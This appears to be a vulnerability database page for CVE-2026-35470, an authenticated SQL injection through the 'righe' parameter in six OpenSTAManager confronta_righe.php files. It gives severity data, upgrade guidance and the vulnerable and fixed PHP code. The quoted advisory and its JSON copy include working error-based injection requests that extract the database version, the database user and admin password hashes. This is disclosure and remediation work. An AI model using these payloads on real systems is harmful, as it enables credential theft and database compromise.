CVE-2026-35470: Devcode it/openstamanager SQL Injection Vulnerability

HIGH
Advisory Identifier: GHSA-mmm5-3g4x-qw39
CVSS 8.8
CWE-89
Published
Advisory Summary

CVE-2026-35470 is a HIGH (CVSS 8.8) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Devcode it/openstamanager libraries in the Packagist ecosystem. The issue involves openstamanager has a sql injection via righe parameter in confronta_righe modals. Remediation is available by upgrading affected packages to version 2.10.2.

CVE-2026-35470 at a Glance

CVE Identifier CVE-2026-35470
GHSA Identifier GHSA-mmm5-3g4x-qw39
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product Devcode it/openstamanager
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-35470

To remediate this vulnerability, upgrade all affected Devcode it/openstamanager dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

devcode-it/openstamanager fixed: 2.10.2
Upgrade devcode-it/openstamanager to 2.10.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for devcode-it/openstamanager

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-35470, inspect your project dependencies for Devcode it/openstamanager:

inspect dependencies for devcode-it/openstamanager

Analyze the terminal output to locate any version of Devcode it/openstamanager in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.10.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Devcode it/openstamanager, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Description Six `confronta_righe.php` files across different modules in OpenSTAManager <= 2.10.1 contain an SQL Injection vulnerability. The `righe` parameter received via `$_GET['righe']` is directly concatenated into an SQL query without any sanitization, parameterization or validation. An authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including user credentials, customer information, invoice data and any other stored data. ## Affected Files All 6 vulnerable files share the same code pattern: | # | File | Line | Affected Table | |---|------|------|----------------| | 1 | `modules/fatture/modals/confronta_righe.php` | 29 | `co_righe_documenti` | | 2 | `modules/interventi/modals/confronta_righe.php` | 29 | `in_righe_interventi` | | 3 | `modules/preventivi/modals/confronta_righe.php` | 28 | `co_righe_preventivi` | | 4 | `modules/ordini/modals/confronta_righe.php` | 29 | `or_righe_ordini` | | 5 | `modules/ddt/modals/confronta_righe.php` | 29 | `dt_righe_ddt` | | 6 | `modules/contratti/modals/confronta_righe.php` | 28 | `co_righe_contratti` | ## Vulnerable Code All files follow the same pattern. Example from `modules/interventi/modals/confronta_righe.php`: ```php $righe = $_GET['righe']; // Line 29 — No sanitization $righe = $dbo->fetchArray( 'SELECT `mg_articoli_lang`.`title`, `mg_articoli`.`codice`, `in_righe_interventi`.* FROM `in_righe_interventi` INNER JOIN `mg_articoli` ON `mg_articoli`.`id` = `in_righe_interventi`.`idarticolo` LEFT JOIN `mg_articoli_lang` ON (...) WHERE `in_righe_interventi`.`id` IN ('.$righe.')' // Line 41 — Direct concatenation ); ``` The value of `$_GET['righe']` is inserted directly into the SQL `IN()` clause without using `prepare()`, parameterized statements or any sanitization function. ## Reproduction ### Prerequisites - Authenticated session (any user with module access) - At least one existing record in the target module (e.g. an intervention with id=1) ### Step 1: Extract MySQL version ``` GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT VERSION())))%23 ``` **Result:** `XPATH syntax error: '~8.3.0'` ### Step 2: Extract database user ``` GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT USER())))%23 ``` **Result:** `XPATH syntax error: '~root@172.19.0.3'` ### Step 3: Extract admin credentials ``` GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM zz_users LIMIT 1)))%23 ``` **Result:** `XPATH syntax error: '~admin:$2y$10$qAo04wNbhR9cpxjHzr'` ### Evidence <img width="1254" height="395" alt="image" src="https://github.com/user-attachments/assets/a2367ed6-fa03-4668-9d74-4298cac5e429" /> ### HTTP Request ```http GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(username,0x3a,password)%20FROM%20zz_users%20LIMIT%201)))%23 HTTP/1.1 Host: <TARGET> Cookie: PHPSESSID=<SESSION_ID> ``` ### Response (excerpt) ``` SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~admin:$2y$10$qAo04wNbhR9cpxjHzr' ``` ## Impact - **Confidentiality (High):** Full database data extraction including user credentials (bcrypt hashes), customer data, invoices, contracts and any stored information - **Integrity (High):** Data modification via injected INSERT/UPDATE/DELETE statements through stacked queries or subqueries - **Availability (High):** Deletion of tables or critical data, database corruption ## Remediation ### Recommended Fix Use parameterized statements with `prepare()` for the `righe` parameter: ```php // BEFORE (vulnerable): $righe = $_GET['righe']; $righe = $dbo->fetchArray( '... WHERE `in_righe_interventi`.`id` IN ('.$righe.')' ); // AFTER (secure): $righe_ids = array_map('intval', explode(',', $_GET['righe'] ?? '')); $placeholders = implode(',', array_fill(0, count($righe_ids), '?')); $righe = $dbo->fetchArray( '... WHERE `in_righe_interventi`.`id` IN ('.$placeholders.')', $righe_ids ); ``` This fix must be applied to all **6 files** listed in the "Affected Files" section. ## Credits Omar Ramirez

CVE-2026-35470 Affected Devcode it/openstamanager Versions

1 component(s)
Fixed Versions:
2.10.2
Product / Package Ecosystem Affected Versions Fixed Version
devcode-it/openstamanager
Packagist
< 2.10.2
2.10.2

References

Frequently Asked Questions

What is CVE-2026-35470?
CVE-2026-35470 is a security vulnerability in Devcode it/openstamanager involving OpenSTAManager has a SQL Injection via righe Parameter in confronta_righe Modals under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which Devcode it/openstamanager versions are affected?
Affected versions include releases prior to 2.10.2 across affected packages: devcode-it/openstamanager.
What version fixes CVE-2026-35470?
Upgrading to 2.10.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is devcode-it/openstamanager affected?
Yes, devcode-it/openstamanager is affected in releases prior to 2.10.2. Upgrade your dependency to 2.10.2 or later.
What is the CVSS score of CVE-2026-35470?
CVE-2026-35470 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-35470?
CVE-2026-35470 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Packagist dependencies for CVE-2026-35470?
Run the dependency tree command: 'inspect dependencies for devcode-it/openstamanager'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mmm5-3g4x-qw39",
  "modified" : "2026-04-03T21:57:08Z",
  "published" : "2026-04-03T21:57:08Z",
  "aliases" : [ "CVE-2026-35470" ],
  "summary" : "OpenSTAManager has a SQL Injection via righe Parameter in confronta_righe Modals",
  "details" : "## Description\n\nSix `confronta_righe.php` files across different modules in OpenSTAManager <= 2.10.1 contain an SQL Injection vulnerability. The `righe` parameter received via `$_GET['righe']` is directly concatenated into an SQL query without any sanitization, parameterization or validation.\n\nAn authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including user credentials, customer information, invoice data and any other stored data.\n\n## Affected Files\n\nAll 6 vulnerable files share the same code pattern:\n\n| # | File | Line | Affected Table |\n|---|------|------|----------------|\n| 1 | `modules/fatture/modals/confronta_righe.php` | 29 | `co_righe_documenti` |\n| 2 | `modules/interventi/modals/confronta_righe.php` | 29 | `in_righe_interventi` |\n| 3 | `modules/preventivi/modals/confronta_righe.php` | 28 | `co_righe_preventivi` |\n| 4 | `modules/ordini/modals/confronta_righe.php` | 29 | `or_righe_ordini` |\n| 5 | `modules/ddt/modals/confronta_righe.php` | 29 | `dt_righe_ddt` |\n| 6 | `modules/contratti/modals/confronta_righe.php` | 28 | `co_righe_contratti` |\n\n## Vulnerable Code\n\nAll files follow the same pattern. Example from `modules/interventi/modals/confronta_righe.php`:\n\n```php\n$righe = $_GET['righe'];  // Line 29 — No sanitization\n\n$righe = $dbo->fetchArray(\n    'SELECT\n        `mg_articoli_lang`.`title`,\n        `mg_articoli`.`codice`,\n        `in_righe_interventi`.*\n    FROM\n        `in_righe_interventi`\n        INNER JOIN `mg_articoli` ON `mg_articoli`.`id` = `in_righe_interventi`.`idarticolo`\n        LEFT JOIN `mg_articoli_lang` ON (...)\n    WHERE\n        `in_righe_interventi`.`id` IN ('.$righe.')'  // Line 41 — Direct concatenation\n);\n```\n\nThe value of `$_GET['righe']` is inserted directly into the SQL `IN()` clause without using `prepare()`, parameterized statements or any sanitization function.\n\n## Reproduction\n\n### Prerequisites\n\n- Authenticated session (any user with module access)\n- At least one existing record in the target module (e.g. an intervention with id=1)\n\n### Step 1: Extract MySQL version\n\n```\nGET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT VERSION())))%23\n```\n\n**Result:** `XPATH syntax error: '~8.3.0'`\n\n### Step 2: Extract database user\n\n```\nGET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT USER())))%23\n```\n\n**Result:** `XPATH syntax error: '~root@172.19.0.3'`\n\n### Step 3: Extract admin credentials\n\n```\nGET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM zz_users LIMIT 1)))%23\n```\n\n**Result:** `XPATH syntax error: '~admin:$2y$10$qAo04wNbhR9cpxjHzr'`\n\n### Evidence\n\n<img width=\"1254\" height=\"395\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a2367ed6-fa03-4668-9d74-4298cac5e429\" />\n\n\n### HTTP Request\n\n```http\nGET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(username,0x3a,password)%20FROM%20zz_users%20LIMIT%201)))%23 HTTP/1.1\nHost: <TARGET>\nCookie: PHPSESSID=<SESSION_ID>\n```\n\n### Response (excerpt)\n\n```\nSQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~admin:$2y$10$qAo04wNbhR9cpxjHzr'\n```\n\n## Impact\n\n- **Confidentiality (High):** Full database data extraction including user credentials (bcrypt hashes), customer data, invoices, contracts and any stored information\n- **Integrity (High):** Data modification via injected INSERT/UPDATE/DELETE statements through stacked queries or subqueries\n- **Availability (High):** Deletion of tables or critical data, database corruption\n\n## Remediation\n\n### Recommended Fix\n\nUse parameterized statements with `prepare()` for the `righe` parameter:\n\n```php\n// BEFORE (vulnerable):\n$righe = $_GET['righe'];\n$righe = $dbo->fetchArray(\n    '... WHERE `in_righe_interventi`.`id` IN ('.$righe.')'\n);\n\n// AFTER (secure):\n$righe_ids = array_map('intval', explode(',', $_GET['righe'] ?? ''));\n$placeholders = implode(',', array_fill(0, count($righe_ids), '?'));\n$righe = $dbo->fetchArray(\n    '... WHERE `in_righe_interventi`.`id` IN ('.$placeholders.')',\n    $righe_ids\n);\n```\n\nThis fix must be applied to all **6 files** listed in the \"Affected Files\" section.\n\n## Credits\nOmar Ramirez",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "devcode-it/openstamanager"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.10.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.10.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-mmm5-3g4x-qw39"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/devcode-it/openstamanager"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/devcode-it/openstamanager/releases/tag/v2.10.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-03T21:57:08Z",
    "nvd_published_at" : null
  }
}